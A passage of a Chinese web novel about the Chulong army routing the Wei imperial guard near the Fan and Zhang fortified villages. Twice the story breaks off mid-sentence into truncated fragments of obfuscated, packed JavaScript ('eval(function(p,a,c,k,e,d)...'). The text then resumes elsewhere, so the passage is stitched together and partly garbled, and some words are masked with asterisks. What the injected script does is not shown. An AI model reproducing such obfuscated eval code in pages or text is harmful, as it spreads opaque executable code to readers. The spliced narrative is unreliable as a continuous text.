且说,雄伯南紫旗三卷之后,禁军牛方盛部,也就是白有宾旧部,委实动摇,在旧日主将的劝降与眼下黜龙军针对性的施压下,许多人早已经有了求胜反叛之心,纷纷以队为单位集结骚动。 但一来,现任主将牛方盛态度坚决,宁死不反,而且还牵制了白有宾旧部中几位威信较高的人,使得已经动摇的禁军不能集结成大股行动;二来,牛方盛在本部与其他禁军的连接处设置了类似于军法监督的部队,尝试隔绝两部,效果显着。 故此,这支禁军即便动摇,而且已经有人动员起来来到了圩子里的连接处,却也一直没有按照张行施压的要求向前线的何稀部发动成建制的反冲击。 而这个时候,禁军的援军已经启动了一阵子,应该要不了多久就会出现在他们的视野中了。 甚至,相关的信使、前驱,应该马上就到。 然而,随着雄伯南第三卷紫旗落地,被震动的却不止是挨打的那边,范圩子的东部,左侯卫将军何稀本人也觉得心中猛地一跳,继而双目死死盯住了天空中再度缓缓汇集起来的紫色云雾。 见此形状,何稀的心腹参军小心来问:「将军,要不要给后面张圩子再送一封求援信?」 「送 个屁!」何稀回过神来,勃然大怒。「姓司马的没一个好东西!必然已经弃了咱们了!」 周围将佐,一时愕然。 之所以愕然,是因为按照何稀这个出身、经历和特长,注定了他是个老好人,是个在禁军内部圆滑处事的人。那么谁能想到,他居然会失态到当众喝骂丞相和左右仆射呢?不过,也只是一时的愕然,因为这一战,从昨日下午开战算起,真正承受了黜龙帮最大的压力的,不是别人,就是何稀跟他的部属! 没错,牛方盛部是直接挨打不错,可何稀也在被十个营**!而且他从昨日就开始接战,亲眼看着自己及其所部从优势变成劣势,从**变成被**,今日开始,更是亲眼看着黜龙军一拨又一拨的抵达! 就连雄伯南这三击,难道没打在他何稀的肝胆上?! 「将军,司马……」有心腹意识到不妥,试图劝解。 「不要管什么司马了,反正这仗只靠咱们没法打。」何稀忽然打断对方,用一种似乎冷静到过了头的语气下达了一个军令。「借用圩子里的建筑和工事做接替掩护,准备把部队从西面撤回去!」 下属一愣,赶紧提醒:「将军,西面是人家故意围三缺一的。而且,牛将军在西北面,咱们要撤退,得跟他们商量好,然后还得他们先走……」 「他们在路口派了人,莫不是要防着咱们跑?」另一人忽然插嘴。 「还有这回事?」何稀立即警觉。 「是。」那人不由一慌,赶紧解释。「开战后没多久,就是那什么天王使第二次招数的时候。」 「若是这般,我倒觉得,这厮不是来做督军,反而是真要拿我们做投名状了!」何稀语气凛冽起来。「你们没看到白有宾飞来飞去吗?你们以为雄伯南为什么只打他们?配合着前面的**打我们不好吗?这是贼人在逼他们下决断!而他们也确实动摇了!」 「那……」 「不要等了,也不要通知牛方盛。」何稀毫不犹豫做了决断。「前面去通知各部,后面直接去抢从西面出圩子的通路,带我直属的三个队去,若是路口的人稍有阻拦,立即动**路!现在就去!」 周围亲信愣了一下,但还是立即跌跌撞撞爬了起来,纷纷去做,而何稀直属的三队兵马也立即行动。 不远处的空中,雄伯南已经开始凝结第四面紫色巨幕,但他稍微迟疑了一下……因为他自家晓得,三击之后,禁军中的白有宾旧部若是再不发动,按照张行的军令怕是要被李定军法从事,而偏偏他居高临下,也看的清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而,衣甲匆匆更换了一半,何稀下面甲裙还是明光铠的配置,上身已经是普通铁裲裆的时候,这位老牌禁军统帅忽然又顿住,继而在雨中闭目长叹。 周围人一愣,也都默然。 无他,即便是何稀没开口,众人如何不晓得他是在感慨禁军境地?不要说何稀,周围人谁曾想过,有朝一日,近一万禁军,在拥有简易防御工事的情况下,在面对区区两万贼军**的情况下,居然在片刻功夫,也就是那个雄伯南往地上扫了四次的简短时间内,居然便要沦落到全军崩溃、主帅逃窜的地步? 当然,何稀并没有说出口,只是在愣了一下后,继续换起了衣甲……某种意义上来说,这位分外理性的禁军大将还是比周围人想的多一些,而且他已经因为自己特殊的思维方式意识到了问题的关键,那就是不要管什么原因,禁军和黜龙军眼下恐怕就是这个战力对比,战局恐怕就是要这般发展下去。 事实已经发生了,决不能做无法面对现实的人。 「怎会如此?!」 范圩子的西北处,坐在倒塌棚子旁的牛方盛手脚冰冷。「怎会如此?!」 周围没有人理会他,包括原本指望着他能松口的白有宾旧部中坚,此时早已经离去参与组织战斗去了……而牛方盛本人想表达的意思也很简单,他都做到这份上了,如此坚定,如此相忍为国,如此大义凛然,居然还止不住大局崩塌? 凭什么? 但还是那句话,没有人理会他。 事实上,如所有人判断的那样,当牛方盛部跟何稀部突然爆发战斗,无所谓何稀有没有将撤退的命令传达下去,范圩子这一战就没有什么计较余地了。 阵地被突破,部队开始逃窜,内讧从旗帜分明的两部对抗变成了以队、仕、伍(禁军军制),乃至于镇、旅、团(府兵在籍制)为单位相互对抗的复杂局面。 甚至很快,随着十营黜龙军大量涌入圩内,成建制投降便也开始出现。 也就是这个时候,禁军援兵前哨出现在了圩子西面。 「有什么想法?」张行主动来问李定。 「若是能让白有宾旧部主动撤出圩子,让开通路,便可以驱赶败兵顺着西面几条路去反过来冲击禁军。」李定也即刻给出方案。「不是指望这样能倒卷珠帘,直接获胜,而是说这样就可以避免大面积交战,减少损失,只要坚持一会,等两翼包抄消息传来,他们必然自乱阵脚,然后我们只管追击、合围,他们就会自行溃散,此战也就从容大胜了。」 「好。」张行点头,同时会意。「你去前面联络徐大郎,我之前就跟他说过,由你来总揽战事,但你下命令最好通过他,其余各营才会服气!」 李定在对方的逼视下点了下头。 「还有秦宝,你带着准备将走一趟,去寻天王和白有宾,试着把控制局面,把他的部队带圩子来,让开通路!」张行见 状立即再向另一人下令。「不管成不成,都必然有溃兵往西面走,只是多少而已,你尾随左右,观城禁军援军形势,该打就打,该收就收,替溃军开路!」 秦宝立即点头,专门再度上了黄骠马。 和之前稍有忐忑,算是被军令推上战场不同,经历了上午酣畅淋漓的胜利,和眼下的战局的大面积倾斜,再加上这些准备将多随从张行等主要指挥人员,也多晓得大包抄的战略也基本上胜利在即,所以这一回堪称战意盎然,几乎人人踊跃。 倒是李定追问了一句:「你在这里等着?」 「我就在这里,观尔等成功。」张行摊手,干脆一屁股坐到台地上的一根木头上。 片刻后,周遭更是只剩下区区虞常南为首的十几位文书与几队甲士。 雨水淅沥,一刻钟后,位于援军最后端尚未看到前方败兵的司马进达从身后接到了一个消息,继而懵在当场——身后西面偏南的左武卫将军崔弘昇,也就是他们以为的后续援军居然反过来发来求援,说他被最少六个营的贼军给从南面过来突袭了,为首者甚至是之前行军路上的老熟人黜龙贼大将单通海!但他带领的六个营里至少有三个是从未见过的! 这个消息意味着什么不言而喻。 但这个时候,司马进达并没有慌乱,恰恰相反,雨水中,撤了护体真气的他反而冷静了起来,他先是想到了另外两个疑点。 首先是城父城的事情……城父城,挨着涡水,在范圩子北偏东,而张行、李定带领的黜龙贼中枢大部就是从那个方向来的……所以,有四五千驻军的城父城现在怎么样了? 城父那里没有信息,但没有信息,从清晨到现在一直到现在没有信息,恰恰就是最大的信息。 要么城已经破了,要么就是有一支兵马,今日早间突然封锁了城池。 其次是李安远-张虔达这支部队,这支部队很强大,兵力充足,甚至可能不亚于司马德克这边,而且已经跟黜龙贼交战,必然暴露了,可是,为什么单通海能够不理会这么一支强大的部队,直接带着六个营从南面穿插过来呢? 答案似乎也很简单,就好像有人看住了城父城一样,必然也有一支黜龙军的部队充当阻击打援的任务,来负责应对张虔达-李安远这支兵马。 好像还不对,城父跟张虔达那里是阻援,是对称的,那么没理由只从南面来做包抄和穿插吧?应该还有一支兵马,跟单通海那六个营对应的兵马从北面,城父城与战场中间穿插向西,来做包抄。 司马进达的呼吸变得颤抖起来,脑袋变得沉重。 好像堂堂成丹高手,只是撤了真气,淋了一阵子雨,就直接得病了一般。 一道流光从空中划过,又划了回来,然后落在了路边司马进达的马前,赫然是面色惶恐的元礼正,很显然,他也得到了后方军情。 「前面战事如何?是部分溃了,还是全溃了?」司马进达冷静来问。 「更糟糕……白有宾说降了他的旧部,两面夹击,何将军一开战就全军崩溃了。」元礼正气喘吁吁。「后面崔将军的信使右仆射见到了吗?你说……」 「我知道你要问什么。」司马进达在马上抬手制止了对方。「我来告诉你,按照我的猜度,黜龙贼这次启动了最少五十个营,而且最少有近四十个营已经渡河了。」 元礼正目瞪口呆。 而司马进达没有理会对方,只是以手指向各处方向,稍作解释:「除了正面进攻的十二个营,还有五六个营的前驱,也就是昨日第一批渡河的人;两翼包抄的各六个,其中一处是单通海领的六个营,合计便是十二个营;两翼对城父、张虔达应该还各有阻击部队,加一起应该也有十二个营… …除此之外,今日晚间之前,应该还有十来个后卫营也渡河过来。」 元礼正张了张嘴,想做反驳,却又觉得这个时候说什么都是浪费时间,半晌只能提醒:「左仆射让你去前面打个照面,意思大概是他准备分成四部,相互掩护,有序后退。」 司马进达点点头,复又摇头:「分成三部即可。」 元礼正莫名其妙。 「我现在要走,去谯城去救我大兄。」司马进达进一步平静以对。「我不能让大魏丞相、司马氏的家主,被黜龙贼俘虏!」 说完,这位司马七郎,便扔下元礼正,径直号令残部,转向北面……他知道,黜龙军北翼穿插部队,此时必然已经接近身后的崔弘昇部,这是个脱离包围圈的好机会。 元礼正懵在雨中,竟不知所措。 「写两张军令。」几乎是同一时刻,坐在雨中台地上观战的张行似乎想起了什么,转身向虞常南吩咐。「一张给王五郎,让他等天一黑,就扔下城父,去谯城做封锁围困;再一张给后面的伍大郎,让后续渡河的全都往城父-谯城一线汇集。」 虞常南醒悟,立即去做。 这个时候,其实司马化达已经抵达了谯城……比预料中的快,可能他已经迫不及待。 而且,他全程都不知道他的身后,他的南侧五六十里的地方,在这大半日内到底发生了什么……他现在很快乐,因为有热水澡洗了,洗完了,居然还有上好的淮阳酒。 诸葛德威俨然是个好样的。 「诸葛头领是黜龙帮诈降的内应吗?」 诸葛郡守刚刚安排好宴席,准备去亲自安顿司马丞相带来的美人、家仆时,却被一人堵在了郡府侧廊的拐角处。 诸葛德威心惊肉跳,抬起头来,不由有些慌张。 原来,站在他面前的,赫然是司马丞相的心腹、随行直属禁军的首领、晋地大族子弟,令狐行。 此人披甲扶刀,正含笑来问。 第三十章风雨行(30) 诸葛德威束手立在廊下,听着廊檐滴落的水声,沉默了一会,才忽然叉手苦笑: “令狐将军擐甲执刀在手,在下只一座城,如今也献了出去,现在你我恰如刀斧与鱼肉一般,那在下是不是诈降,算不算内应,难道不是令狐将军一言而决吗?” 令狐行愣了一下,不由也笑:“诸葛头领的意思是,我说阁下是内应,阁下就是内应;我说不是,阁下也就不是?” 诸葛德威没有吭声,只是继续叉手而立。 令狐行点点头,居然话锋一转:“那就问个诸葛头领说了算的事……诸葛头领从黜龙帮来,可知道黜龙贼虚实?” “这倒是晓得一些,但在下在帮内也算降人,少得任用,晓得的也不多。”诸葛德威依旧叉着手来答,却是坦坦荡荡将自己知道的黜龙帮情报给大约说了一番。 从黜龙帮的高层名单,到帮内的几个派系起兴,什么河北河南对立;河北那边陈斌与窦立德对立;河南那里单通海为首的一群建帮元老始终放不下架子向张首席服软;自然还有李枢的事情,以及刚刚成立大行台的事情;最后免不了说登州被边缘化,自家河北义军出身头领被闲置的事实。 令狐行认真来听,时不时问几句,倒果真有几分询问虚实的架势了。 等了一会,对方说完,令狐行若有所思,却终于松了扶刀的手:“黜龙帮制度这般完备吗?下面跟朝廷州郡无二,上面跟当日大周**时高浑、司马洪仿佛,所谓霸府行台?” “差不多吧。” “原来如此。”令狐行微微颔首,继续来问。“若是这般,你以为张行张首席是何等人?” “是个了不得的人。”诸葛德威脱口而对。“别看黜龙帮内里这般派系林立,但哪家不是如此?何处不是这样?反倒是他一个北地的排头兵、靖安台的黑绶,便是有黑帝点选的说法,可平素也不用这个唬人的,只是靠口才、策略、修为、德行来整合人心、开拓地方,最后居然成了天下数一数二的大势力,这种人不算了不得,谁能算了不得?” “那你为何还要投降呢?”令狐行不由失笑。“跟着了不得的人在天下数一数二的大势力中厮混不更好吗?” 诸葛德威瞥了眼外面还在继续的细雨,拢了下手,苦笑一声:“我倒想跟着张首席做大事,奈何,人家张首席没想着带我做大事……白横秋走后,建制河北,大行台里没有我的份,军权也被扒了,若是做地方官,我本是登州河北一带厮混的,留给我也罢,可他连河北也不让我待,登州留守也让程知理做了,反而把我撵到这种地盘都不稳当的边沿郡,我能如何呢?厮混了半辈子,都得有个盼头吧?” “我懂,我懂。”令狐行似笑非笑。“如诸葛头领这般人,我见得可不少……只是可惜了。” “确实可惜了。”诸葛德威眼皮一跳,立即拱手。“不过,待到东都,还要令狐将军看顾才好。” “好说,好说。”令狐行连连点头,转身而去。 诸葛德威叹了口气,等对方走了,复又松了口气,方才离开偏廊。 且说,因为战事的突发性,战场以外许多地方并没有察觉到局势进展到了何等地步,故此,诸葛德威与令狐行,包括堂上饮酒的某人才能置身事外。 按照这个道理,禁军的前卫和后卫,也就是吐万长论跟鱼皆罗这两位,也应该置身事外,优哉游哉才对。毕竟,他们甚至都不在谯郡。 可实际上,这两位老将,根本不可能如某位丞相一般一心一意找个大城安安泰泰喝酒躲雨的。这其中,最先反应过来的居然是连军情信使都没接到的鱼皆罗,早在这日早间,这位老将军就嗅到了危险。 具体来说就是,他发现黜龙军消失了。 一直以来,在北线和西线不厌其烦骚扰、阻挠鱼皆罗部的黜龙军那几个营突然就离开了……伍常在、李子达、夏侯宁远,这三个营在这七八日期间的作为,已经足以让鱼皆罗及其部属知晓他们的根底。 一个韩博龙的徒弟、伍氏余孽、修行上的武疯子,见到打着大魏旗号的官军就管不住自己,没日没夜的骚扰;一个分不清是淮右盟还是黜龙帮的本地人,仗着对地理和气候的熟悉领着几千本地**兵反复攻击自己的薄弱处,是让自己行军遭遇阻碍最大的一家;最后那个据说是贼首单通海的心腹,似乎是三人中领头的,总在后面试探,想连着其余两家弄个大的,结果总是犹犹豫豫绕来绕去不出手。 而现在,他们忽然消失了。 李子达和夏侯宁远是五月十五日白日就消失不见的,而宛若疯狗的伍常在傍晚还发动了一次突袭,然后忽然就没了踪迹。 讲实话,事情到了这个时候,鱼皆罗就已经心惊肉跳了。 可这还不算,紧接着上午时分就有哨骑飞马来报,东面徐州方向淮右盟大举出动,阚棱领着太保军打头,后方杜、辅、苗、岳、马旗帜不避风雨,直接一字排开,也不知道加一起是三万人还是五万人,反正乌泱泱一片就来了! 这不对劲! 鱼皆罗如何不晓得这不对劲?! 一边是不顾一切扔下自己往西,一边是不顾一切离开安乐窝来趋自己,只能说明黜龙军有绝大的动作……而再考虑到自己部队的状态,自己部队在整个战场的尴尬位置,他不得不进一步考虑战场上最关键也最寻常的一个问题了。 那就是生死存亡。 “往西走!扔下辎重,除了兵器、甲胄和能随身携带的粮食,其余都不要管!”本就在行军途中的鱼皆罗听到徐州方向消息后只是愣了几息的时间,便在马上挥舞手中鞭子,以最快的速度和最严厉的态度下达了最正确的命令。“往西走!快走!” “大将军!” 不过片刻,前方的郎将赵忌便飞驰而来,明显不满。“咱们是后卫,本来补给就少,贼人又一路这般骚扰,若是没了辎重,怕是没几日就要崩溃的。” “赵忌!”鱼皆罗在马上扭过头来,随着其人双目狰狞,发白的头发与胡子几乎是从头盔中“绽放”出来。“你既晓得我是大将军,可还晓得军法二字?!” 赵忌看着对方这个样子,当即吓了一跳,然后脑中转过对方那些传奇经历,却是赶紧应声,不再计较,然后老老实实离开去执行军令去了。 然而,一目之威就让人屈服的鱼皆罗目送对方远去,却收起表情,然后忍不住仰天叹了口气。 无他,鱼皆罗虽然修为和资历摆在这里,但有时候资历过深也不是什么好事……他和吐万长论参军自然是前朝时期,跟着司马氏厮混,后来成名成功则是大魏建立初期,他二人沿着毒漠,一个在东一个在西,前后十数年,以相对而言极少的兵力防御住了东部巫族和中部巫族,为大魏灭齐、灭陈创造了极佳的条件。 修为也是那时候大成的。 可是好景不长,新帝登位,忌惮老臣,于是他们早在一征东夷时便开始被刻意闲置,三征东夷,坏了不知道多少人心,于他们而言则却只隔了几层,最大的事情无外乎是自家某个子孙忽然没了结果。 等到大魏土崩瓦解,这二人作为关陇理论上最冒尖也最靠近官方的力量,却又忽然被征召过来,替准备在江东安乐的大魏皇帝清理安乐窝周围的盗匪,打治安战。 然而,不要说年老体衰,也不要说什么异地异客,就连禁军上下他们都已经不熟悉了,除了几个主将还有点面善外,其余军中上上下下不知道换了几茬,哪里能指挥得当?最后,干脆沦为南方局势恶化的最大替罪羊。 皇帝不再信任他们,自成体系的禁军排斥他们,地方势力视他们为仇,有家还不能归。 好不容易动身回家了,被司马氏提防也无所谓,这个时候谁还在意什么兵权啊?结果走到路上又遇到这种事……这司马化达到底行不行啊?这司马长缨怎么教的?! 愤愤然之后,还是要走。 部队扔下辎重,全力西行,走了半个上午、半个下午,就在黜龙帮完成了大包抄的时候,他们居然已经抵达涣水,堪称神速。 但困境也随之而来。 “徐州那边的淮右盟追的太快了。”赵忌主动来寻鱼皆罗说话,似乎是在焦虑军情,但语气却并没有多么紧张。“他们都是本地人,又不像我们已经行军许久那么累,而我们只有两条船,搭浮桥的建材也不足,这么下去怕是要被他们咬到的。” “那你觉得该如何?”鱼皆罗皱着眉来问。 “就在这里设伏。”赵忌昂首挺胸,提出建议。“全军以逸待劳,再借大将军神威反扑一波,打垮他们!如此便可无忧!” 鱼皆罗像看傻子一样看着身前的副将,半晌方才开口:“你以为我们这么着急往西走,是为了逃避追兵?” “不是吗?”赵忌目瞪口呆。 “危险不在后,在前!”鱼皆罗没好气道。“黜龙贼扔下我们往西去,必然是要集中兵力对禁军中军主力发动进攻!而徐州的淮右盟那些人,任务就是拖住我们……那不管他们是咬住我们、阻拦我们,还是跟我们打一场他们自家大败,都算是拖住我们,都算成功,而我们便是胜了,也无益处!” 赵忌明显慌乱:“所以,我们现在应该不顾一切,快一些去西面参战才对?” 鱼皆罗看了对方一眼,本想点醒对方,却鬼使神差一般,收回了到嘴边的话,只点点头。 “要是这样。”赵忌还是发慌。“咱们还是躲不过的,从这里渡河太慢了,肯定要被对方咬到……” “上下游没有其他渡口浮桥吗?”鱼皆罗又有些没好气了。“分开渡河就是。” “往上游是黜龙帮控制的地方……伍二郎那些人走的时候必然该拆就拆,该砸就砸!”赵忌无奈解释道。“下游……” “下游如何?”鱼皆罗追问道。 “下游除了入淮口并无什么渡桥。”赵忌正色道。“但那是因为河口本有涣口镇,内里自有许多船只和几座大浮桥,便是桥没了临时搭,房屋建材也充足……前军就是从涣口过的。” “那就去涣口。”鱼皆罗无语道。“还有什么可计较的?” “但涣口太偏南偏东了。”赵忌认真提醒。“我们既是要去支援,按照之前的传讯,中军主力应该在涡水两岸谯郡境内偏北的位置,也就是我们西北面……若是从涣口渡河,先东南再西北,时间就耽搁了。” 鱼皆罗点点头,认真思索了一下,复又摇头:“那你有什么好主意?” 赵忌自然无言以对。 “这样好了。”鱼皆罗叹了口气。“咱们分兵吧!全军从这里渡,渡不完就会被淮右贼给咬住,所以干脆分出一半出去,从涣口走,一半从这里渡河直接去西面参战!如何?” 赵忌想了一想,也是无法,只能点头:“如此,末将一定尽快追上大将军。” 鱼皆罗一愣,也只是胡乱点头……没办法,既要参战,肯定是要他这位宗师带队效果才更好,他没有推辞的理由。 就这样,傍晚之前,淮右盟追兵抵达之前,鱼皆罗率领五千禁军渡过了涣水,然后立即急行军往西北而去。如果他赶得快的话,估计明日天亮前是能抵达谯郡南端的。 而这个时候,吐万长论已经率军抵达淮阳、汝阴、谯郡三郡交界处了。 但是,就在进入谯郡的大官道路口这里,他遇到了一个人,一个他不久前才见过的年轻人……后者在道旁拦住了他。 “老将军。”大概是地理缘故,雨水已经非常小了,房玄乔立在道旁带笑拱手。“请不要往前了,不然凶多吉少。” “何意如此?”吐万长论一时不解。 “司马丞相既然违约往谯郡内里而去,那张首席必然不能忍受,双方必然开战。而若开战,黜龙帮虽军势参差不齐,可准备却更足、总体实力也更强;禁军虽精,却长途跋涉,补给乏力,故小战禁军胜多,大战黜龙帮必胜。”房玄乔认真拱手道。“老将军,已经开战一日夜了,你这个时候再入谯郡,已经赶不及了,反而要落入虎口。” 吐万长论有些懵,他的信息还停留在黜龙帮几个营渡河,禁军胜多败少,为了可能的大战,需要他去支援的地步……如何就成了羊入虎口呢? 停了一下,吐万长论看着马前之人,认真来问:“小子,是你觉得如此,还是你老师觉得如此?你老师怀通公又在何处?” “是我觉得如此,然后说给恩师,恩师颇以为然,便让我来南下劝阻老将军。”房玄乔言辞利索。“至于恩师,司马丞相掉头入谯郡时他正往淮阳郡郡治赶,准备拜访淮阳太守赵佗。” 吐万长论听到这里,却是终于翻身下马,然后上前牵住对方手:“听人说,赵佗之前给黜龙贼上过降表,受过黜龙帮列名,莫非他已经投了黜龙贼?” “赵府君立场确实存疑,但老将军若是以为他会主动出兵参战,使禁军陷入罗网,那就想多了。”房玄乔笑道。“大魏崩塌,如赵府君这类地方大员,若能拿捏住地方又无太大野心的,无外乎就是自保观望罢了。既是观望,又怎么会在情势不明之前便做先手呢?” “那你是从何处断定前方已经大败了呢?又如何说服你老师的呢?”吐万长论一时疑惑。 “我断定的简单,说服恩师也很简单。”房玄乔稍微认真道。“因为我跟恩师之前都从河北来,晓得黜龙帮虚实,此番回程,恰好又窥见禁军虚实……老将军,我和恩师的看法一致,都觉得黜龙帮是虎,禁军是狼,原本狼群猬集一起尚可从容,但正值梅雨,狼群既疲惫又自行散开,露出破绽,此时猛虎不动则已,一动必能吞狼。” “黜龙帮是虎?”吐万长论愣了一下,认真反问。 “是。” “禁军是狼?” “是。” “你跟怀通都这般以为?” “是。” 连番问答之后,吐万长论长呼了一口气,却又缓缓摇头:“我自然信得过怀通,但既为一军之将,总要尽力而为的,明明受了军令去支援,怎么能止步不前呢?” 房玄乔没有直接回答,而是扭头看向了身后,也就是吐万长论大军行进方向,这个时候禁军的进军队列已经明显迟滞,甚至有止步不前的趋势了……这倒不是吐万长论言出法随,而是前方就是谯郡边界的淝水,上面对应着官道的乃是一座桥……因为前锋部队在从桥上过河,所以堵塞起来。 就这样看了一会,确保吐万长论注意到眼下境况之后,房玄乔方才回头,回应了对方的问题:“老将军,且不说皇帝都没了,三位弑君的司马有没有资格给老将军下命令,在下也没有说让老将军不去支援。” “怎么说?”吐万长论微微挑眉。 “很简单。”房玄乔转身指着身后方向言道。“若是在下想错了,前方没有大战,那老将军行军缓一日也无妨;而若是前方有大战,老将军过去也该是接应为主,并且要防备撤退引发**……这样的话,何妨从淝水上游绕过去?淝水源头就在此地往北三十里,且从那里过去,部队就不会在撤退时被淝水所困,还能先拿下谯城以作接应和防守,岂不两全其美?” 吐万长论想了一想,也终于笑了:“这倒是妥当!你们这些文修倒也奇怪,总是能有这种两头不挨却让人无话可说的妥当法子。” 房玄乔也笑了:“文修无用,只能想法子,决断还要老将军自己下才行。” 吐万长论点点头,倒也干脆,直接唤人去传令,乃是让部队即刻转向,逆流而上,而已经渡河的部队,则充当哨骑,往东面去探听军情。 就在部队转向之时,吐万长论看了看头顶已经小了许多的雨水,忽然发问:“小子,你刚刚说弑君?” “是。” “可是,你们当日走后,江都军变,所有军士都欢呼雀跃,我也如释重负,跟禁军上下交流,大家都说曹彻早该**,杀曹彻是天下第一等正经事。”吐万长论幽幽来言。“然后一路行军至此,沿途士民、官吏,便是黜龙贼都说,曹彻之死,轻如鸿**……实际上,据我所知,禁军之所以服从这三人,正是因为他们三人带头杀了曹彻……若杀一人而天下欢呼,如何还要称之为弑君呢?” “因为这三司马乃是魏臣,而且都是曹彻一手提拔的。”房玄乔想了一想,给出答复。“故此,即便是曹彻死有余辜,江都军变情有可原,但在一些固执的人眼里,仍不免有背主之嫌……何况,这三位军变前后的嘴脸也过了一些,立新帝却杀齐王,又是丞相又是左右仆射,又排挤两位老将军,为人不齿也是寻常。而若为人不齿,又要大败,失了吓唬人的兵甲,那自然要被人嗤之为弑君了。” “没想到你这般年纪就这般‘固执’。”吐万长论听完,也不由喟然。“算了,生死荣辱,都是你们年轻人的事情,跟我这种没什么指望的老头子也没什么关系,梅雨眼瞅着也要停了,不管什么结果,撑一撑,回到东都再……” 话到这里,这位老将军心中一动,却是意识到了什么,但他并没有继续这个话题,反而有些意兴阑珊……君臣相惧相残,父子相悖相仇,还有背盟卖友、表里比兴……这些事情,他这辈子见了太多了,根本提不起兴趣。 一念至此,吐万老将军只是翻身上马,顺便努嘴示意:“小子,你的马吗?速速跟上。” 房玄乔心下一惊:“老将军,我也要与你一起去吗?” “你这人!”吐万长论有些无语。“既是你出的方略,便是我信你,也要防着你被黜龙贼抓到,晓得我的行军路线……不是你说的吗,黜龙帮是虎!再说了,你不跟我往北走,又能去何处?难道还能渡淝水去涡水那边找黜龙贼入伙吗?若是那般,我更要揪住你不放了。” 房玄乔想了一想,居然无可辩驳,便寻了一匹马,跟了上去。 只能说,这个下午,司马丞相在喝酒,吐万将军在绕路,鱼将军在加速,剩下的人在打仗,禁军的大家都有美好的未来。 转到主战场,完成左右两翼包抄的黜龙军此时自然已经算是大获全胜了。 “咱们当然能赢!” 李定从前方战场回来,按照传令兵的指点回到范圩子,远远便听到了一个熟悉的声音,而待其拐过一个圩内路口,便一眼看到声音的主人立在路上正在大声说着什么,两边乌压压一片,屋内院外,全都塞满了伤员、俘虏,正在愣愣来听,也是不由放慢了脚步。 “为什么能赢?” 张行继续大声来做宣告。“因为你们军纪严明!全天下,就数咱们黜龙军的军纪最严明!你们看看禁军,看看之前的东都军、晋地军,哪个不劫掠百姓?哪个不滥杀无辜?只有我们没有!非只没有,这次出兵,根本就是为了保卫百姓!咱们是天下第一等的仁义之师! “而我们这般秋毫无犯,这般救护百姓,百姓自然也会信得过我们,信得过我们,就会给我们传递情报、提供给养、补充兵员……有了这些,凭什么不胜? “说句不好听的,咱们这般仁义文明,禁军那般残暴粗鲁,若是我们还输了,那就是老天无眼,三辉四御全都是泥胎木偶!” 话到这里,张行扭头看到李定,却是赶紧来做收尾:“诸位兄弟,此战咱们已经胜了,就在这里安心修养,且待禁军一败涂地,纷纷来降!到时候与诸位兄弟计功!” 张行站在路中,两边都是民居和院落,一边是黜龙帮的伤员,其中虽有些人知道开会“鼓掌呼喊”的规矩,却也是少数,再加上几乎人人带伤,便也只是零星呼喊;另一边,多是禁军的俘虏和伤员,此时则完全是懵的,吓懵的,饶懵的,想懵的。 “你不会真信了这个什么‘仁者无敌’的一套吧?”二人走近,满脸一言难尽之色的李定毫不客气。 “胡扯的。”张行摆手示意,声音却压低了不少。“黜龙帮的经历我不知道吗?一开始在东境是在自家地盘上起义,哪里有劫掠自家的道理?后来去了河北,倒是想抢,结果刚去的时候河北几乎是一片白地,也没什么可抢的。我现在跟他们说这个,是为了以后铺垫,因为再往后,战斗肯定会激烈和拉锯,等到军纪坏了再整顿就难了。” 李定这才缓和下来,却又感叹:“无论什么缘故,军纪没有坏总是好的,确实不容易。” 这次轮到张行多看了对方一眼,但马上就回过神来:“突然回来,怎么回事?” “两件事,也是一件事。”李定也回过神来,正色回复。“我想问下,你让伍大郎他们一过来就南下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不会!”李定坚定摇头。“除非天黑前中军连着再垮下来三个营,或者吐万长论能飞过来,现在就在单通海、王叔勇那里撕开两翼包抄部队,否则断然不会!” 这次轮到张行胡乱颔首。 事实证明,黜龙军并没有虚弱到中军剩余的十多个营连续再垮掉三个的地步,吐万长论也没有隔空带着一万人飞过来的本事……恰恰相反,随着战事持续下去,禁军连续行军的长久疲态终于在不停的战斗、撤退中渐渐显露出来,经常是打着打着,忽然就垮了。 非只如此,越接近天黑,禁军上下的军心就越加动摇起来。 就这样,溃兵越来越多,追兵始终不断,包围越来越明显。而果然,当天黑之前,司马德克麾下维持着建制和战斗状态的部队退到身后左武卫将军崔弘昇那里时,禁军各部的军心士气终于撑不住了! 且说,淝涡之间,以丞相司马化达为首,合计约有五万八千定员禁军主力。 而今日之战,包括左仆射司马德克、左武卫将军崔弘昇、左候卫将军何稀,加上逃走的右仆射司马进达,四位禁军主力大将,外加七位郎将,合计约三万五千之众,占据了淝涡之间禁军主力兵团小三分之二的部队,被黜龙军以大约三十个营的兵力用两翼包抄、穿插的战术给迎面包住。 刨除白有宾旧部三千人的倒戈,只有司马进达率领的三千人,以及前期其部被击溃的几千人中的一部分最终逃出了最后合围。 剩余两万三四千众,在三分之一兵力于前方范圩子先行崩溃,又在沿途死伤了两三千的情况下,于退却和被夹击的状况下艰难支撑了半个下午,最终在张圩子以西、以南的大片野地中被团团包围,并随着黜龙军的大面积收缩,迅速陷入了失去指挥、建制的总崩溃中。 这个时候,天还没有黑。 虽然有许多波折和意外,黜龙军还是坚定完成了李定布置的战略任务,促成了最终战斗的胜利! “黜龙军已经开始大队大队招降了。”混乱中,左侯卫将军何稀撞到了左仆射司马德克,不顾一切远远放声嘶吼喝问。“司马进达据说跑了,牛方盛一早降了黜龙贼,元礼正也看不到,崔弘昇在西面不知道是死是活,黜龙军围的跟铁桶一般,雄伯南还在天上,咱们两个该如何?你是左仆射,是主帅,你给个主意!” “能有个什么主意?”司马德克也早已经破防。“你不就是想让我领头投降吗?我堂堂左仆射,如何能降贼?!” “左仆射是个屁!”何稀气得脸都红了,却还是条理分明。“大魏没了,皇帝没了,禁军大队也没了,你是个狗屁的左仆射?!不怕人笑话!” “你若再乱军心,我便现在斩了你。”司马德克双目圆睁,真气肆溢,死死盯住了何稀。 